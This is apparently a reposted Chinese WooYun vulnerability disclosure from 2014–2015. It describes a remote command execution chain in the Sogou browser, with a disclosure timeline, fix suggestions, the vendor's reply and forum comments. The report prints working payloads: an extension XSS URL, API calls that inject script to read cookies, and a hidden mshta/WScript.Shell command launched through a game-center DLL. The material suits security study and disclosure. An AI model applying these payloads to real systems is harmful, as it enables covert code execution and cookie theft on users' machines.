某小设计缺陷搜狗浏览器远程命令执行

admin 2015年8月12日16:28:51评论371 views字数 215阅读0分43秒阅读模式
摘要

2014-11-16: 细节已通知厂商并且等待厂商处理中
2014-11-21: 厂商已经确认,细节仅向厂商公开
2014-11-24: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2015-01-15: 细节向核心白帽子及相关领域专家公开
2015-01-25: 细节向普通白帽子公开
2015-02-04: 细节向实习白帽子公开
2015-02-14: 细节向公众公开

漏洞概要 关注数(60) 关注此漏洞

缺陷编号: WooYun-2014-83537

漏洞标题: 某小设计缺陷搜狗浏览器远程命令执行 某小设计缺陷搜狗浏览器远程命令执行

相关厂商: 搜狗

漏洞作者: gainover某小设计缺陷搜狗浏览器远程命令执行

提交时间: 2014-11-16 23:29

公开时间: 2015-02-14 23:30

漏洞类型: 远程代码执行

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 远程代码执行 浏览器漏洞利用技巧

9人收藏


漏洞详情

披露状态:

2014-11-16: 细节已通知厂商并且等待厂商处理中
2014-11-21: 厂商已经确认,细节仅向厂商公开
2014-11-24: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-01-15: 细节向核心白帽子及相关领域专家公开
2015-01-25: 细节向普通白帽子公开
2015-02-04: 细节向实习白帽子公开
2015-02-14: 细节向公众公开

简要描述:

从某些小的设计缺陷到远程命令执行。

详细说明:

1. 搜狗浏览器自有的协议下(se://)的一些内容,都封装成了application/sogou-native-widget-plugin,因此,我们在这个协议下,要继续找到可用的XSS似乎比较困难。

2. 于是将目光投向了似乎更容易找到XSS的 se-extension://, 通过分析发现,搜狗浏览器在设计上,不允许 http协议向 se: 协议的资源跳转(如下图所示);但是对于 se-extension:// 上却欠缺了类似的安全考虑,允许在http协议下通过location.href跳转到或是通过iframe标签嵌入 se-extension:// 协议下的资源。

某小设计缺陷搜狗浏览器远程命令执行

3. 基于这样一个缺陷,我们接着要寻找 se-extension://域下的XSS,由于搜狗浏览器内置的插件还比较多,挨个htm看一看,发现以下插件(截图插件)的页面存在XSS。

code 区域
se-extension://ext-1055834318/signin.html?app=test&code=javascript:alert(1)

4. 这样一来,我们可以利用这个插件的XSS来调用搜狗浏览器插件所暴露出的一些API,这些API主要在sogouExplorer这个对象里,如下图所示:

某小设计缺陷搜狗浏览器远程命令执行

这些API已经可以用来实现很多高危害的事情了,例如:

code 区域
//利用sogouExplorer.tabs.getAllInWindow获得窗口内打开的所有页面
sogouExplorer.tabs.getAllInWindow(0,function(){console.log(arguments)})

//通过上一个函数内获得tabid来向页面内注入任意JS,实现窃取用户当前打开的页面的cookies。
sogouExplorer.tabs.executeScript(202372,{"code":"alert(document.cookie)"},function(){console.log(arguments)})

代码运行如下:

某小设计缺陷搜狗浏览器远程命令执行

效果如下图所示:

某小设计缺陷搜狗浏览器远程命令执行

到了这里,实际上利用这个XSS,可以实现改变任意页面的内容,可以用于窃取COOKIES,或是改变页面内容实现钓鱼等高危害操作。

-----------------------------------

** 实现远程命令执行

-----------------------------------

实际上到了上面这一步,对于用户来说,已经会导致很高的危害,但是我们是否可以实现命令执行呢?搜狗一些曾经导致远程命令执行的内置API,比如external下的SkinCall再次出问题的可能性已经比较小。

我们依然把目光放到扩展本身上,一些内置的扩展为了实现一些功能也会暴露一些API给网页,而扩展内的这样的功能要么是通过搜狗浏览器提供的扩展API来实现,要么通过dll来实现。

我们通过分析,发现com.sogou.gamecenter这个扩展调用了npgamecenterlite.dll,

该扩展的地址在 se-extension://ext740107210/路径下

更有意思的是该扩展目录下的back.html中还发现了以下内容(se-extension://ext740107210/html/back.html):

code 区域
//back.html中调用npgamecenterlite.dll
<embed id="embed1" type="application/sogou-start-gamecenter-lite-plugin"/>

//back.html中调用了http://**.**.**.**/cdn/gamehelperV0.3/v1.0.4/app.js?t=1.0.4,其中有以下代码:
var miniLauncher = document.getElementById( 'embed1' );
//...
miniLauncher.startExe( url + " /popgame " + exe_param, function(arg) {
//....
});

我们惊喜的看到,这个npgamecenterlite.dll提供了一个API接口,而该接口的作用是用来启动了一个指定路径的程序。

-----------------------------------

** 插件页面间的互相访问

-----------------------------------

可以看到,我们找到XSS的页面是:

se-extension://ext-1055834318/signin.html?app=test&code=javascript:alert(1)

而存在调用npgamecenterlite.dll的页面是:

se-extension://ext740107210/html/back.html

这2个页面,属于同一个协议(se-extension),但不属于同一个域,理论上2个页面是无法互相通信的。

然而,搜狗浏览器在此处对se-extension协议的处理上再次出现问题,我发现,在se-extension协议下,2个不同域的页面可以通过脚本互相访问。

这样一来,我们的攻击思路就很明确了,如下:

某小设计缺陷搜狗浏览器远程命令执行

如上图所示,顺便说到了要修复的点。

-----------------------------------

** 是否是任意命令执行?

-----------------------------------

答案:是的。

这里的 startExe API支持命令带参数,所以我们可以执行任意的命令。

如果用cmd,就会弹出一个一闪而过的黑框框,不够隐蔽。

这里我们可以用mshta来实现完全隐蔽的执行任意命令。比如下面弹出一个计算器:

code 区域
miniLauncher.startExe("mshta javascript:(new/**/ActiveXObject('WScript.Shell').run('calc.exe'));window.moveTo(-1000,-1000);window.close();", function(arg) {
console.log(arg);
});

mshta也会打开一个框框,但是我们可以用moveTo将框框移动到屏幕外,从而实现隐蔽效果。

最后执行效果:

某小设计缺陷搜狗浏览器远程命令执行

漏洞证明:

安装最新版本的搜狗浏览器:

访问:http://**.**.**.**/poc/sogou.html ,

win xp, win7, win8 下均测试通过,上面已经有一个win7的图了,下面发个win8的,

某小设计缺陷搜狗浏览器远程命令执行

修复方案:

见详细说明中的图:

1. 修复XSS

2. 阻止http访问se-extension协议资源

3. 阻止插件页面间的相互访问

4. ....

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-11-21 10:55

厂商回复:

感谢支持,欢迎您在SGSRC平台提交漏洞

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2014-11-16 23:30 | _Thorns ( 普通白帽子 | Rank:1754 漏洞数:269 | 以大多数人的努力程度之低,根本轮不到去拼...)

    1

    前排,哈哈

  2. 2014-11-16 23:41 | 子非海绵宝宝 某小设计缺陷搜狗浏览器远程命令执行 ( 核心白帽子 | Rank:1413 漏洞数:148 | 发扬海绵宝宝的精神! 你不是海绵宝宝,你怎...)

    1

    二哥这是浏览器专场的节奏

  3. 2014-11-17 00:28 | D_in ( 普通白帽子 | Rank:423 漏洞数:65 | 到我嘴里来)

    1

    二哥就是牛逼

  4. 2014-11-17 01:00 | px1624 ( 普通白帽子 | Rank:1171 漏洞数:207 | px1624)

    1

    。。。qq浏览器 360浏览器 猎豹浏览器

  5. 2014-11-17 08:34 | px1624 ( 普通白帽子 | Rank:1171 漏洞数:207 | px1624)

    1

    又多了个精华。。

  6. 2014-11-17 08:41 | 泳少 ( 普通白帽子 | Rank:257 漏洞数:84 | ★ 梦想这条路踏上了,跪着也要...)

    1

    二哥浏览器专场 show time

  7. 2014-11-17 08:54 | bey0nd ( 普通白帽子 | Rank:941 漏洞数:148 | 相忘于江湖,不如相濡以沫)

    1

  8. 2014-11-17 09:02 | 酸奶、 ( 普通白帽子 | Rank:290 漏洞数:55 )

    1

    二哥专场。

  9. 2014-11-17 09:23 | ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名,可我没猜出密码。)

    1

    更多浏览器

  10. 2014-11-18 15:20 | mlyKnown ( 路人 | Rank:2 漏洞数:1 | 咚咚咚咚,查水表啦。)

    1

    浏览器专场。。

  11. 2014-11-21 11:33 | gainover 某小设计缺陷搜狗浏览器远程命令执行 ( 普通白帽子 | Rank:1805 漏洞数:97 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    1

    ** 厂商,鉴定完毕。

  12. 2014-11-21 11:34 | 瘦蛟舞 某小设计缺陷搜狗浏览器远程命令执行 ( 普通白帽子 | Rank:765 漏洞数:83 | 铁甲依然在)

    1

    @gainover 学他主子了,哈哈

  13. 2014-11-21 11:53 | px1624 ( 普通白帽子 | Rank:1171 漏洞数:207 | px1624)

    1

    @gainover 。。。5分,你现在还觉得遨游的15给的低么

  14. 2014-11-21 12:16 | xsser 某小设计缺陷搜狗浏览器远程命令执行 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)

    1

    搜狗真屌

  15. 2014-11-21 13:01 | Woodee ( 路人 | 还没有发布任何漏洞 | 乌云路人甲,打脸pa pa pa)

    1

    据说内网漫游也就12分 @if、so

  16. 2014-11-21 13:19 | if、so 某小设计缺陷搜狗浏览器远程命令执行 ( 核心白帽子 | Rank:1204 漏洞数:104 | Enjoy Hacking)

    1

    @Woodee 无力吐槽,sgsrc什么玩意

  17. 2014-11-28 22:39 | 南柯太守 ( 路人 | Rank:2 漏洞数:1 | 专注web开发的安全入门者)

    1

    @gainover你丫是大js吧的那个大神吗

  18. 2014-11-28 22:48 | gainover 某小设计缺陷搜狗浏览器远程命令执行 ( 普通白帽子 | Rank:1805 漏洞数:97 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    1

    @南柯太守 以前确实是那个吧的吧主,现在是小吧。

  19. 2014-11-28 23:06 | 南柯太守 ( 路人 | Rank:2 漏洞数:1 | 专注web开发的安全入门者)

    1

    gainover,我好久没去了,你这xss用的可真了得

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin